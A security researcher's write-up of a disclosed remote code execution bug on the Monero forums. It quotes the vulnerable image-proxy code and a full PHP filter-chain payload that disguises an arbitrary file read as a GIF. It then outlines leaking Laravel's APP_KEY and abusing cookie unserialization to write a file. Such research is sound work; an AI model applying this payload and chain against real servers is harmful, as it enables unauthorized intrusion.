Getting RCE on Monero forums with wrapwrap

June 6, 2025

I had my eyes on cfreal's wrapwrap for a while, waiting to find a worthy bug to play with it. It finally happened!

In short, wrapwrap is a neat algorithm built on PHP stream filters to add a prefix and/or suffix to another stream, i.e. a file. This becomes handy in cases where you would have an arbitrary file read bug, to be later blocked because the file has to abide to a specific structure (like JSON, XML) or a MIME type based on its contents (like GIF, PNG, PDF).

Finding a good bug

I started with the assumption PHP applications would usually use libmagic for MIME detection, through the built-in fileinfo module, and have the flags FILEINFO_MIME_TYPE or FILEINFO_MIME set. Among the GitHub results, monero-project/monero-forum looked fun.

Looking at Monero forums

The forum is based on Laravel 4; its routes are stored in app/routes.php. Among them, an "image proxy" does not require authentication:

/* Image Proxy */
Route::get('/get/image/', 'PostsController@getProxyImage');

I assume this acts as a proxy for images of forum posts to prevent IP leaks to third-parties.

The GET parameter link flows into file_get_contents() and we have the expected MIME type validation after that—this is the exact situation I was looking for. It will be simpler to work with the GIF case, as $image will be returned as-is while we can suspect that intervention/image would do more complex things.

class PostsController extends \BaseController {

    public function getProxyImage() {
        if (Input::has('link'))
        {
            $url = urldecode(Input::get('link'));
            $image = file_get_contents($url);

            $file_info = new finfo(FILEINFO_MIME_TYPE);
            $mime_type = $file_info->buffer($image);

            //Intervention/image does not support .gif files all that well and only produces single-frame images.
            if($mime_type == 'image/gif')
            {
                return Response::make($image, 200, array('content-type' => 'image/gif'));
            }
            else {
                $image = Image::make($image);
                return $image->response();
            }
        }
        // [...]
    }
    // [...]
}

A GET parameter could be tedious for our payload though: we are limited to 8 KB and wrapwrap will need much more than that, should we need a append data and read a big file. We need to find the smallest prefix to pass the MIME type check, and ideally without any suffix.

libmagic's magic

I recommend reading "libmagic: The Blathering" by Evan Sultanik on the Trail of Bits blog to learn about libmagic and its DSL.

PHP vendors libmagic under ext/fileinfo/ with a few patches. In create_data_file.php, they take a compiled version of all rules to create data_file.c. We can assume they likely wouldn't have to patch rules of a format as simple as GIF and we can take those from upstream instead. Child tests are omitted below:

# GIF
# Strength set up to beat 0x55AA DOS/MBR signature word lookups (+65)
0	string		GIF8		GIF image data
!:strength +80
!:mime	image/gif
!:apple	8BIMGIFf
!:ext	gif

Let's feed this prefix to wrapwrap to get the chain of filters we'll be using. To account for padding, it will effectively preprend GIF8MM to the stream but it won't be a problem here.

$ wrapwrap.py 'config/app.php' GIF8 '' 16
php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7G |convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=TARGET

Failing to get RCE… or not?

My go-to Laravel code execution path relies on leaking APP_KEY from the configuration, and forging cookies to obtain an unserialization primitive—finding a new popchain is usually the fun part.

Reading the Apache configuration files got me the full path to the application and I could extract the APP_KEY from /var/www/forum.getmonero.org/webroot/app/config/app.php.

Peeking at the configuration, I had the assumption that because Redis was set as the default session driver, this couldn't work as cookies wouldn't be serialized using the native PHP format:

return array(

    /*
    |--------------------------------------------------------------------------
    | Default Session Driver
    |--------------------------------------------------------------------------
    |
    | This option controls the default session "driver" that will be used on
    | requests. By default, we will use the lightweight native driver but
    | you may specify any of the other wonderful drivers provided here.
    |
    | Supported: "file", "cookie", "database", "apc",
    |            "memcached", "redis", "array"
    |
    */

    'driver' => 'redis',
    // [...]
);

Reading the server's composer.lock shows Laravel v4.2.22 is used:

"name": "laravel/framework",
"version": "v4.2.22",
"source": {
    "type": "git",
    "url": "https://github.com/laravel/framework.git",
    "reference": "7bfe4a10387d726569856bb4ceaec576e60ae7bb"
},

In this version and even with this session backend, cookies are used to persist CSRF tokens and are systematically unserialized:

public function decrypt($payload)
{
    $payload = $this->getJsonPayload($payload);

    // We'll go ahead and remove the PKCS7 padding from the encrypted value before
    // we decrypt it. Once we have the de-padded value, we will grab the vector
    // and decrypt the data, passing back the unserialized from of the value.
    $value = base64_decode($payload['value']);

    $iv = base64_decode($payload['iv']);

    return unserialize($this->stripPadding($this->mcryptDecrypt($value, $iv)));
}

So 'driver' => 'redis' doesn't matter in the end. There aren't that many classes around so I just took the usual Guzzle/FW1 chain to write a file under the web root. Here's your RCE!

Disclosure

Fortunately for them, this appeared to live on a server hosting various other cryptocurrency-related projects, but the main domain https://getmonero.org is in another castle.

I reported this bug to the Monero project on December 16th but it didn't get much traction through the suggested disclosure channels. Good think IRC is still a thing, +selsta quickly found the right person to nuke the forums once and for all—thanks!

Conclusion

I've personally been ignoring these bugs since phar:// became unexploitable with recent versions of PHP, the same way as I was ignoring them before, but these are clearly useful again. And it's not gonna change anytime soon ;-)